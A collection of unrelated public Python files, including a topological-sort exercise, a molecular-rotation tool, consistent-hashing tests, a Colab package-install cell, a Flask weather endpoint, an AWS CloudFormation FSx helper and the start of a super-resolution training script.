from collections import deque
def can_construct(originalSeq, sequences):
sortedOrder = []
if len(originalSeq) <= 0:
return sortedOrder
inDegree = {i:0 for i in range(1, len(originalSeq)+1)}
graph = {i:[] for i in range(1, len(originalSeq)+1)}
for seq in sequences:
for i in range(len(seq)-1):
parent, child = seq[i], seq[i+1]
if parent != child:
graph[parent] += child,
inDegree[child] += 1
# if we don't have ordering rules for all numbers
if len(originalSeq) != len(inDegree):
return False
sources = deque([v for v, d in inDegree.items() if d == 0])
while sources:
# if there are more than 1 source, it's not more unique
if len(sources) > 1: return False
# if next number is different from the original sequence
if originalSeq[len(sortedOrder)] != sources[0]: return False
vertex = sources.popleft()
sortedOrder.append(vertex)
for child in graph[vertex]:
inDegree[child] -= 1
if inDegree[child] == 0:
sources.append(child)
return len(sortedOrder) == len(originalSeq) # no unqiue way
if __name__ == "__main__":
print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [3, 4]])))
print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [2, 4]])))
print("Can construct: " + str(can_construct([3, 1, 4, 2, 5], [[3, 1, 5], [1, 4, 2, 5]]))) | [
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] |
geotraf.py | hokru/geotrafo | 0 | 175585 | #!/usr/bin/python
import sys
import numpy as np
from math import sqrt,cos,sin,acos,radians
import argparse
"""
rotation around arbitrary torsional angles
ToDo:
- PDB files:
- read
- recognize backbone angles by name from PDB files
- translation
"""
nat=0
elem = []
xyz = []
SYM=[] # matrix to do symmetry operations
parser = argparse.ArgumentParser(description="rotation (soon: & translation) of molecular coordinates",epilog="grab a copy @ https://github.com/hokru/geotrafo",usage='%(prog)s [options] <coordinate file>')
parser.add_argument("-axis", help="specify two atom numbers for axis of rotation/translation.",type=int,nargs=2,metavar=("atom1","atom2"),default=(0,1))
parser.add_argument("molecule", help="molecular coordinate file (xyz format)",type=str,metavar="<coordinate file>")
parser.add_argument("-rmol", help="rotate whole molecule (around z-axis/origin)", action="store_true")
parser.add_argument("-rot", help="fragment rotation around given axis/bond", action="store_true")
parser.add_argument("-bond", help="fragment translation along given axis/bond", action="store_true")
parser.add_argument("-a","-angle", help="angle of rotation in degree",type=float,metavar="float",default=5.0)
parser.add_argument("-l","-length", help="length of translation in angstrom",type=float,metavar="float",default=0.1)
parser.add_argument("--debug", help="print additional output", action="store_true")
args = parser.parse_args()
print 'file : ',args.molecule
print 'input axis: : ',args.axis[0],args.axis[1]
print 'fragment rotation : ', args.rot
print 'molecule rotation : ', args.rmol
if args.rot or args.rmol:
print ' angle [degree] : ', args.a
print 'translation : ', args.bond
if args.bond:
print ' length [A] : ', args.l
sys.exit("translation not yet implemented! Sry... ")
if args.debug:
print "debugging mode turned on"
#--------------------------------------
# read xmol-type file
def readxmol(ifile,elem,xyz):
"""
read xmol file
"""
lines = ifile.readlines()
nat = int(lines[0])
title = lines[1]
for l in lines[2:]:
type, x, y, z = l.split()
xyz.append([float(x),float(y),float(z)])
elem.append(type)
# xyz.append(l)
return nat
# write xmol-type file
def writexmol(name,nat,XYZ,title='written by geotraf.py'):
"""
write xmol file with header (optional)
"""
ofile = open( name, 'w')
print >>ofile, str(nat)
print >>ofile, title
for i in range(0,nat):
print >>ofile, str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) ))
ofile.close()
return
def dihedral(p):
"""
dihedral angle from 4 input vector.
khouli formula
1 sqrt, 1 cross product"""
p0 = p[0]
p1 = p[1]
p2 = p[2]
p3 = p[3]
b0 = -1.0*(p1 - p0)
b1 = p2 - p1
b2 = p3 - p2
# normalize b1 so that it does not influence magnitude of vector
# rejections that come next
b1 /= np.linalg.norm(b1)
# vector rejections
# v = projection of b0 onto plane perpendicular to b1
# = b0 minus component that aligns with b1
# w = projection of b2 onto plane perpendicular to b1
# = b2 minus component that aligns with b1
v = b0 - np.dot(b0, b1)*b1
w = b2 - np.dot(b2, b1)*b1
# angle between v and w in a plane is the torsion angle
# v and w may not be normalized but that's fine since tan is y/x
x = np.dot(v, w)
y = np.dot(np.cross(b1, v), w)
return np.degrees(np.arctan2(y, x))
def printxyz(nat,elem,XYZ):
"""
print xyz coordinates to screen.
"""
for i in range(0,nat):
print str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) ))
def normalize(v):
"""
normalize, output tuples
"""
mag2 = sum(n * n for n in v)
mag = np.sqrt(mag2)
v = tuple(n / mag for n in v)
return v
#normalize, output numpy array
def normalize2(v):
"""
normalize, output mumpy array
"""
norm = np.linalg.norm(v)
v=v/norm
return v
def q_mult(q1, q2):
"""
quarternion-quarternion multiplication
"""
w1, x1, y1, z1 = q1
w2, x2, y2, z2 = q2
w = w1 * w2 - x1 * x2 - y1 * y2 - z1 * z2
x = w1 * x2 + x1 * w2 + y1 * z2 - z1 * y2
y = w1 * y2 + y1 * w2 + z1 * x2 - x1 * z2
z = w1 * z2 + z1 * w2 + x1 * y2 - y1 * x2
return w, x, y, z
def q_conjugate(q):
"""
quarternion conjugate
"""
w, x, y, z = q
return (w, -x, -y, -z)
def qv_mult(q1, v1):
"""
quarternion-vector multiplication
"""
q2 = (0.0,) + v1
return q_mult(q_mult(q1, q2), q_conjugate(q1))[1:]
def axisangle_to_q(v, theta):
"""
quarternion rotation
"""
v = normalize(v)
x, y, z = v
theta /= 2
w = cos(theta)
x = x * sin(theta)
y = y * sin(theta)
z = z * sin(theta)
return w, x, y, z
def q_to_axisangle(q):
"""
quarternion rotation
"""
w, v = q[0], q[1:]
theta = acos(w) * 2.0
return normalize(v), theta
def rotvec(axis,vec,degree):
"""
quarternion rotation
input: rotation axis, vector to rotate(eg atom coordinates),rotation in degree
output: new vector
tuples only internally
"""
tupvec=tuple(vec)
angle=radians(degree)
qrot=axisangle_to_q(axis,angle)
newv = qv_mult(qrot, tupvec)
return list(newv)
# input: at1/2 define the atoms that span the axis vector; degree the rotation angle, atlist
# denotes which atoms to rotate; XYZ contains all coordinates
def rotmol(at1,at2,degree,atlist,XYZ):
"""
rotation of vectors in atlist using the RotationMatrix from 'RotMatArb'.
RotVecArb is the
"""
p1=XYZ[at1,:]
p2=XYZ[at2,:]
axis=np.subtract(p2,p1)
rad=radians(degree)
for i in sorted(atlist[:]):
print 'rotating...',i
v=XYZ[i,:]
# * get rotation matrix, then multiply with vector
#debug oldD= dihedral((XYZ[20,:],p1,p2,v))
Rmat= RotMatArb(axis,rad,p2,v)
XYZ[i,:]=RmatxVec(Rmat,v)
# newD= dihedral((XYZ[20,:],p1,p2,XYZ[i,:]))
# print newD,oldD,oldD-newD
# * get vector directly (slower?)
# XYZ[i,:]=RotVecArb(axis,rad,p2,v)
# * using quarternions *
## v=np.subtract(XYZ[i,:],p2[:])
## XYZ[i,:]=rotvec(axis,v,degree)+p2
return
def molecule_rot(axis,degree,XYZ):
"""
molecular rotation
use axis to specify x,y,z vectors
"""
atlist=range(0,len(XYZ))
rad=radians(degree)
p2=np.array([0,0,0])
for i in sorted(atlist[:]):
print 'rotating...',i
v=XYZ[i,:]
Rmat= RotMatArb(axis,rad,p2,v)
XYZ[i,:]=RmatxVec(Rmat,v)
def RmatxVec(rmat,v):
"""
(4x4) rotation matrix (RotArbMat) times vector to rotate; returns rotated vector
homogenous coordinates.
"""
v=np.append(v,1)
vrot=np.dot(rmat,v)
return vrot[:3]
def rotmolMAT(at1,at2,degree,atlist,XYZ):
"""
similar to rotmol, except it uses the Rodriguez(?) rotation matrices.
"""
p1=XYZ[at1,:]
p2=XYZ[at2,:]
axis=np.subtract(p2,p1)
axis=np.subtract(axis,p2)
rad=radians(degree)
for i in atlist[:]:
v=np.subtract(XYZ[i,:],p2)
#both should work vrot=np.dot(rotation_matrix(axis,rad),v)
vrot=np.dot(rotation_matrix2(axis,rad),v)
XYZ[i,:]=np.add(vrot,p2)
return
def rotation_matrix(axis, theta):
"""
Return the rotation matrix associated with counterclockwise rotation about
the given axis by theta radians. translation necessary.
"""
axis = np.asarray(axis)
theta = np.asarray(theta)
axis = axis/np.sqrt(np.dot(axis, axis))
a = np.cos(theta/2.0)
b, c, d = -axis*np.sin(theta/2.0)
aa, bb, cc, dd = a*a, b*b, c*c, d*d
bc, ad, ac, ab, bd, cd = b*c, a*d, a*c, a*b, b*d, c*d
return np.array([[aa+bb-cc-dd, 2*(bc+ad), 2*(bd-ac)],
[2*(bc-ad), aa+cc-bb-dd, 2*(cd+ab)],
[2*(bd+ac), 2*(cd-ab), aa+dd-bb-cc]])
def rotation_matrix2(axis,theta):
"""
from Rafal, a bit different (signs). clockwise rotation?
translation necessary.
"""
axis = axis/np.sqrt(np.dot(axis,axis))
a = np.cos(theta/2.0)
b,c,d = -axis*np.sin(theta/2)
return np.array([[a*a+b*b-c*c-d*d, 2*(b*c-a*d), 2*(b*d+a*c)],
[2*(b*c+a*d), a*a+c*c-b*b-d*d, 2*(c*d-a*b)],
[2*(b*d-a*c), 2*(c*d+a*b), a*a+d*d-b*b-c*c]])
def RotMatArb(axis,theta,point,vec):
"""
rotation matrix around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/
matrix translated from java code. no translation necessary.
"""
a=point[0]
b=point[1]
c=point[2]
axis = axis/np.sqrt(np.dot(axis,axis))
u=axis[0]
v=axis[1]
w=axis[2]
cosT=cos(theta)
oneMinusCosT=1.0-cosT
sinT=sin(theta)
v2,w2,u2 = v*v,w*w,u*u
#matrix element wise
m11 = u2 + (v2 + w2) * cosT;
m12 = u*v * oneMinusCosT - w*sinT
m13 = u*w * oneMinusCosT + v*sinT
m14 = (a*(v2 + w2) - u*(b*v + c*w))*oneMinusCosT + (b*w - c*v)*sinT
m21 = u*v * oneMinusCosT + w*sinT
m22 = v2 + (u2 + w2) * cosT
m23 = v*w * oneMinusCosT - u*sinT
m24 = (b*(u2 + w2) - v*(a*u + c*w))*oneMinusCosT + (c*u - a*w)*sinT
m31 = u*w * oneMinusCosT - v*sinT
m32 = v*w * oneMinusCosT + u*sinT
m33 = w2 + (u2 + v2) * cosT
m34 = (c*(u2 + v2) - w*(a*u + b*v))*oneMinusCosT + (a*v - b*u)*sinT
return np.array([[m11,m12,m13,m14],
[m21,m22,m23,m24],
[m31,m32,m33,m34],
[0,0,0,1]])
def RotVecArb(axis,theta,point,vec):
"""
rotation around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/
include multiplication of xyz. probably slower.
"""
a=point[0]
b=point[1]
c=point[2]
axis = axis/np.sqrt(np.dot(axis,axis))
u=axis[0]
v=axis[1]
w=axis[2]
x=vec[0]
y=vec[1]
z=vec[2]
cosT=cos(theta)
oneMinusCosT=1.0-cosT
sinT=sin(theta)
v2,w2,u2 = v*v,w*w,u*u
bv,cw,ux,vy,wz,cv,bw,wy,vz = b*v,c*w,u*x,v*y,w*z,c*v,b*w,w*y,v*z
au,cu,aw,wx,uz = a*u,c*u,a*w,w*x,u*z
bu,av,vx,uy = b*u,a*v,v*x,u*y
rx=(a*(v2+w2)-u*(bv+cw-ux-vy-wz))*oneMinusCosT+x*cosT+(-cv+bw-wy+vz)*sinT
ry=(b*(u2+w2)-v*(au+cw-ux-vy-wz))*oneMinusCosT+y*cosT+(cu-aw+wx-uz)*sinT
rz=(c*(u2+v2)-w*(au+bv-ux-vy-wz))*oneMinusCosT+z*cosT+(-bu+av-vx+uy)*sinT
return np.array([rx,ry,rz])
# return list of atoms connected to atom a
#def get_atlist(a,XYZ,atlist):
# return
def c_dist(di,dj): ##calculate distance between 2 lines of coords
"""
cartesian distance between two vectors(coordinates).
"""
x=np.subtract(di,dj)
dist=np.linalg.norm(x)
return dist
def bond_mat(nat,elem,XYZ):
"""
construct a bonding matrix (atom i, atom j). Bond is assumed when bond_length minus (cov_rad_i+cov_rad_j)/2
is smaller then 0.5.
"""
cov={'h': 0.6430, 'he': 0.6430,'li': 2.4570,'be': 1.9090,'b': 1.5870, 'c':1.4360,'n': 1.3090,\
'o': 1.0960, 'f': 1.1200, 'ne': 0.9450, 'na': 2.9860,'mg': 2.6460,'al':2.4000,'si': 2.1920,\
'p': 2.0600,'s': 1.8900,'cl': 1.7950,'ar': 1.7010,'k': 3.8360,'ca:' :3.2880,'sc':2.7210,\
'ti': 2.4940, 'v': 2.3050, 'cr': 2.2300, 'mn': 2.2110,'fe': 2.2110,'co': 2.1920,'ni': 2.1730,\
'cu': 2.2110,'zn': 2.3620, 'ga': 2.3810, 'ge': 2.3050, 'as': 2.2680,'se': 2.1920, 'br': 2.1540,\
'kr': 2.1160,'rb': 4.0820, 'sr': 3.6090,'y': 3.0610,'zr': 2.7400,'nb': 2.5320,'mo': 2.4570,\
'tc': 2.4000,'ru': 2.3620,'rh': 2.3620,'pd': 2.4190, 'ag': 2.5320, 'cd': 2.7970,'in': 2.7210,\
'sn': 2.6650,'sb': 2.6460,'te': 2.5700,'i': 2.5130,'xe': 2.4760,'cs': 4.4410,'ba': 3.7420}
# 3.1940,3.1180,3.1180,3.0990,3.0800,3.0610,3.4960,
# 3.0420,3.0050,3.0050,2.9860,2.9670,2.9480,2.9480,
# 2.9480,2.7210,2.5320,2.4570,2.4190,2.3810,2.4000,
# 2.4570,2.5320,2.8160,2.7970,2.7780,2.7590,2.7590,
# 2.7400)
bonds=[]
for i in range(nat):
ei=str.lower(elem[i])
for j in range(i+1,nat):
ej=str.lower(elem[j])
dist=c_dist(XYZ[i,:],XYZ[j,:])
check=(float(cov[ei])+float(cov[ej]))*0.5
if abs(dist-check) <= 0.5:
bonds.append((i,j))
return bonds
def check_bond_lengths(bonds,XYZnew,XYZold,elem):
status=0
for i in bonds[:]:
ai=i[0]
aj=i[1]
veci=XYZold[ai,:]
vecj=XYZold[aj,:]
distold=c_dist(veci,vecj)
veca=XYZnew[ai,:]
vecb=XYZnew[aj,:]
distnew=c_dist(veca,vecb)
if abs(distold-distnew) >= 0.01:
print 'ERROR in bond length: [atom1 atom2 delta_distance]', ai+1,'[',elem[ai],']',' - ',aj+1,'[',elem[aj],']',abs(distold-distnew)
status=1
return status
# --------------------------------------------------------------
def main():
#read in command line arg
#arg1=sys.argv[1] # coord name
#SYM.append(sys.argv[2:])
molname=args.molecule
# read in coordinates
f = open(molname, "r")
nat = readxmol(f,elem,xyz)
f.close()
XYZ=np.array([xyz])
XYZ.shape=(nat,3)
XYZold=np.array(XYZ) # backup
degree=args.a
print ' # atoms :',nat
#print ' requested operations :',' -> '.join(map(str,SYM[0]))
#print ' requested operations :',' -> '.join(SYM[0])
#set vars
x1=args.axis[0]-1
x2=args.axis[1]-1
ax=(x1,x2)
if args.rot:
print 'rotating around bond:',x1+1,'[',elem[x1],']',' - ',x2+1,'[',elem[x2],']','--> ',degree ,'degree'
#print dihedral((XYZ[20,:],XYZ[x1,:],XYZ[x2,:],XYZ[30,:]))
# make bonding matrix
bonds= bond_mat(nat,elem,XYZ)
bondsOld=tuple(bonds) #backup
# remove the dihedral 2-3 connection, to make at least 2 fragments
# requirement: x1<x2
for b in bonds[:]:
if ax == b:
bonds.remove(ax)
# process fragments
# somehow we can end up with duplicates in the fragments, we remove them later with np.unique.
mol=[0]
frags=[]
ifrag=np.zeros(10)
found=1
nr=0
print ifrag
while bonds[:]:
while found == 1:
found=0
for i in mol[:]:
for j in bonds[:]:
if i in j:
if i == j[0]:
mol.append(j[1])
if i == j[1]:
mol.append(j[0])
bonds.remove(j)
found=1
print 'frag:',nr,' : ', mol
#remove mid points
if x2 in mol:
ifrag[nr]=1
mol.remove(x2)
if x1 in mol:
mol.remove(x1)
frags.append(mol)
nr+=1
if nr >=11:
sys.exit("error: too many fragments found")
if bonds[:]:
mol=[bonds[0][0]]
found=1
else:
break
#rotate fragments with ifrag=1
for f in range(0,nr):
if ifrag[f] == 1:
atlist=np.unique(frags[f]) # removes duplicates!
rotmol(x1,x2,degree,atlist,XYZ)
#also works: rotmolMAT(x1,x2,degree,atlist,XYZ)
# now XYZ contains the new, rotated molecule.
# check old and new bond lengths
if check_bond_lengths(bondsOld,XYZ,XYZold,elem) > 0:
sys.exit("rotation error...stopping :-( ")
#------------------- fragment rotation ---------------------------------
if args.rmol:
# axis=np.array([1,0,0])
# axis=np.array([0,1,0])
axis=np.array([0,0,1])
molecule_rot(axis,degree,XYZ)
#-----------------------------------------
# SYMMETRY OPERATIONS (not used)
# if args.trans:
#translations
# does need homogeneous coordinates for matrix operations
mx=1
my=1
mz=3
MOVE=np.array([[1,0,0,mx],
[0,1,0,mx],
[0,0,1,mz],
[0,0,0,1]])
# reflection on plane, sigma_x/y/z
sigma_x=np.array([[-1,0,0],
[0,1,0],
[0,0,1]])
sigma_y=np.array([[1,0,0],
[0,1,0],
[0,0,1]])
sigma_z=np.array([[1,0,0],
[0,1,0],
[0,0,-1]])
# rotations
#print XYZ
#TRAFO=np.array(np.dot(sigma_x,MOVE))
#TRAFO=np.array(sigma_z)
#print TRAFO
#print sigma_z
# do transformation
#XYZ=np.dot(XYZ,sigma_z)
#XYZ=np.dot(XYZ,TRAFO)
#print XYZ
writexmol('rot.xyz',nat,XYZ,'rotated molecule')
if __name__ == '__main__':
main()
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python/test.py | dailymotion/chash | 9 | 74802 | <gh_stars>1-10
#!/usr/bin/python
import unittest
import chash
import os
from hashlib import md5
class TestCHash(unittest.TestCase):
def test_add_target(self):
c = chash.CHash()
self.failUnlessEqual(c.add_target("192.168.0.1"), None)
self.failUnlessEqual(c.count_targets(), 1)
def test_set_targets(self):
c = chash.CHash()
self.failUnlessEqual(c.set_targets({"192.168.0.1" : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,} ), 3)
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessRaises(TypeError, c.set_targets, "9")
self.failUnlessRaises(TypeError, c.set_targets, {3 : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,})
def test_clear_targets(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessEqual(c.clear_targets(), None)
self.failUnlessEqual(c.count_targets(), 0)
def test_remove_target(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessEqual(c.remove_target("192.168.0.1"), None)
self.failUnlessEqual(c.count_targets(), 2)
self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.1")
self.failUnlessEqual(c.count_targets(), 2)
self.failUnlessEqual(c.remove_target("192.168.0.2"), None)
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.2")
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessEqual(c.remove_target("192.168.0.3"), None)
self.failUnlessEqual(c.count_targets(), 0)
def test_count_targets(self):
c = chash.CHash()
self.failUnlessEqual(c.count_targets(), 0)
self.failUnlessEqual(c.add_target("192.168.0.1"), None)
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessEqual(c.add_target("192.168.0.2"), None)
self.failUnlessEqual(c.count_targets(), 2)
def test_lookup_list(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
self.failUnlessEqual(c.lookup_list("1"), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("1", 1), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("1", 2), ["192.168.0.1", "192.168.0.3"])
self.failUnlessEqual(c.lookup_list("1", 3), ["192.168.0.1", "192.168.0.3", "192.168.0.2"])
self.failUnlessEqual(c.lookup_list("2"), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("3"), ["192.168.0.4"])
self.failUnlessEqual(c.lookup_list("4"), ["192.168.0.4"])
def test_lookup_balance(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1")
# FIXME
# self.failUnlessEqual(c.lookup_balance("1", 1), "192.168.0.1")
# self.failUnlessEqual(c.lookup_balance("1", 2), "192.168.0.3")
# self.failUnlessEqual(c.lookup_balance("1", 3), "192.168.0.2")
self.failUnlessEqual(c.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c.lookup_balance("4"), "192.168.0.4")
def test_serialize(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
cs = c.serialize()
self.assertEqual(len(cs), 3138)
self.assertEqual(md5(cs).hexdigest(), '975639a999ade73bd4fc64f3486ea093')
c2 = chash.CHash()
c2.unserialize(cs)
self.failUnlessEqual(c2.count_targets(), 4)
self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4")
def test_serialize_file(self):
csf = "test.cs"
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
cs = c.serialize_to_file(csf)
self.failUnlessEqual(os.path.exists(csf), True)
c2 = chash.CHash()
c2.unserialize_from_file(csf)
os.remove(csf)
self.failUnlessEqual(c2.count_targets(), 4)
self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4")
def test_usage(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.3")
c.remove_target("192.168.0.3")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1")
c.remove_target("192.168.0.1")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.2")
c.remove_target("192.168.0.2")
self.failUnlessRaises(chash.CHashError, c.lookup_balance, "9")
c.add_target("192.168.0.2")
c.add_target("192.168.0.1")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1")
if __name__ == '__main__':
unittest.main()
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research/packages_setup.py | datadonK23/Engine | 2 | 190349 | import numpy as np
import pandas as pd
# Install packages and libraries
# This only needs to be done once per notebook.
# installing nltk and its packages
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
nltk.download('brown')
# Installing textract
!apt-get install python-dev libxml2-dev libxslt1-dev antiword unrtf \
poppler-utils libpulse-dev pstotext tesseract-ocr \
flac ffmpeg lame libmad0 libsox-fmt-mp3 sox libjpeg-dev swig
!pip install textract
# Installing textblob
!pip install - U textblob
# from textblob import TextBlob
# Install the PyDrive wrapper & import libraries.
!pip install - U - q PyDrive
# from pydrive.auth import GoogleAuth
# from pydrive.drive import GoogleDrive
# from google.colab import auth
# from oauth2client.client import GoogleCredentials
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app.py | choochootrain/choochoodash | 0 | 93861 | import os
import requests
from flask import Flask, render_template
app = Flask(__name__)
app.config['DEBUG'] = True
@app.route('/')
def index():
return render_template('index.html')
#API
@app.route('/api/ping', methods=['GET'])
def api_ping():
return "pong"
@app.route('/api/weather/<int:city_id>', methods=['GET'])
def api_weather(city_id):
resp = requests.get('http://api.openweathermap.org/data/2.5/weather?id=%d&units=imperial' % city_id)
return resp.text, resp.status_code
if __name__ == '__main__':
app.run(host='0.0.0.0', port=os.environ.get('PORT', 8000))
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source/fsx-dns-name.py | alcousins/aws-edit-in-the-cloud | 36 | 176625 | <reponame>alcousins/aws-edit-in-the-cloud
"""
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
"""
import os
import json
import boto3
from botocore.config import Config
from crhelper import CfnResource
import logging
# Init boto config
BOTO_CONFIG = json.loads(os.environ['botoConfig'])
CONFIG = Config(**BOTO_CONFIG)
logger = logging.getLogger(__name__)
# Initialise the helper, all inputs are optional, this example shows the defaults
helper = CfnResource(json_logging=False, log_level='INFO', boto_level='CRITICAL')
try:
## Init code
pass
except Exception as e:
helper.init_failure(e)
@helper.create
def create(event, context):
logger.info("Got Create")
logger.info(event)
# Optionally return an ID that will be used for the resource PhysicalResourceId,
# if None is returned an ID will be generated. If a poll_create function is defined
# return value is placed into the poll event as event['CrHelperData']['PhysicalResourceId']
#
# To add response data update the helper.Data dict
# If poll is enabled data is placed into poll event as event['CrHelperData']
"""
Get FSx DNS Name
"""
fsx_windows = boto3.client('fsx', config=CONFIG)
# Parameters, as a list
file_system_id = [event['ResourceProperties']['FileSystemId']]
logger.info(f"file_system_id - {file_system_id}")
# Get SGW Info
response = fsx_windows.describe_file_systems(FileSystemIds=file_system_id)
logger.info(json.dumps(response, indent=4, sort_keys=True, default=str))
fsx_dns_name = response['FileSystems'][0]['DNSName']
logger.info(fsx_dns_name)
# get FSx DNS Name
helper.Data.update({
"FSxDNSName": fsx_dns_name
})
# retrun gateway_arn used in 'delete' action as PhysicalResourceId
return fsx_dns_name
@helper.update
def update(event, context):
logger.info("Got Update")
logger.info(event)
# If the update resulted in a new resource being created, return an id for the new resource.
# CloudFormation will send a delete event with the old id when stack update completes
return True
@helper.delete
def delete(event, context):
logger.info("Got Delete")
logger.info(event)
# Delete never returns anything. Should not fail if the underlying resources are already deleted.
# Desired state.
return True
@helper.poll_create
def poll_create(event, context):
logger.info("Got create poll")
logger.info(event)
# Return a resource id or True to indicate that creation is complete. if True is returned an id
# will be generated
fsx_dns_name = event['CrHelperData']['PhysicalResourceId']
logger.info(fsx_dns_name)
# get FSx DNS Name
helper.Data.update({
"FSxDNSName": fsx_dns_name
})
# Used in 'delete' action as PhysicalResourceId
return fsx_dns_name
def handler(event, context):
helper(event, context)
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] |
train.py | thinkreed/ECBSR | 162 | 50941 | import torch
import torch.nn as nn
import torch.nn.functional as F
from datas.benchmark import Benchmark
from datas.div2k import DIV2K
from models.ecbsr import ECBSR
from torch.utils.data import DataLoader
import math
import argparse, yaml
import utils
import os
from tqdm import tqdm
import logging
import sys
import time
parser = argparse.ArgumentParser(description='ECBSR')
## yaml configuration files
parser.add_argument('--config', type=str, default=None, help = 'pre-config file for training')
## paramters for ecbsr
parser.add_argument('--scale', type=int, default=2, help = 'scale for sr network')
parser.add_argument('--colors', type=int, default=1, help = '1(Y channls of YCbCr)')
parser.add_argument('--m_ecbsr', type=int, default=4, help = 'number of ecb')
parser.add_argument('--c_ecbsr', type=int, default=8, help = 'channels of ecb')
parser.add_argument('--idt_ecbsr', type=int, default=0, help = 'incorporate identity mapping in ecb or not')
parser.add_argument('--act_type', type=str, default='prelu', help = 'prelu, relu, splus, rrelu')
parser.add_argument('--pretrain', type=str, default=None, help = 'path of pretrained model')
## parameters for model training
parser.add_argument('--patch_size', type=int, default=64, help = 'patch size of HR image')
parser.add_argument('--batch_size', type=int, default=32, help = 'batch size of training data')
parser.add_argument('--data_repeat', type=int, default=1, help = 'times of repetition for training data')
parser.add_argument('--data_augment', type=int, default=1, help = 'data augmentation for training')
parser.add_argument('--epochs', type=int, default=600, help = 'number of epochs')
parser.add_argument('--test_every', type=int, default=1, help = 'test the model every N epochs')
parser.add_argument('--log_every', type=int, default=1, help = 'print log of loss, every N steps')
parser.add_argument('--log_path', type=str, default="./experiments/")
parser.add_argument('--lr', type=float, default=5e-4, help = 'learning rate of optimizer')
parser.add_argument('--store_in_ram', type=int, default=0, help = 'store the whole training data in RAM or not')
## hardware specification
parser.add_argument('--gpu_id', type=int, default=0, help = 'gpu id for training')
parser.add_argument('--threads', type=int, default=1, help = 'number of threads for training')
## dataset specification
parser.add_argument('--div2k_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_HR', help = '')
parser.add_argument('--div2k_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_LR_bicubic', help = '')
parser.add_argument('--set5_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/HR', help = '')
parser.add_argument('--set5_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/LR_bicubic', help = '')
parser.add_argument('--set14_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/HR', help = '')
parser.add_argument('--set14_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/LR_bicubic', help = '')
parser.add_argument('--b100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/HR', help = '')
parser.add_argument('--b100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/LR_bicubic', help = '')
parser.add_argument('--u100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/HR', help = '')
parser.add_argument('--u100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/LR_bicubic', help = '')
if __name__ == '__main__':
args = parser.parse_args()
if args.config:
opt = vars(args)
yaml_args = yaml.load(open(args.config), Loader=yaml.FullLoader)
opt.update(yaml_args)
if args.colors == 3:
raise ValueError("ECBSR is trained and tested with colors=1.")
device = None
if args.gpu_id >= 0 and torch.cuda.is_available():
print("use cuda & cudnn for acceleration!")
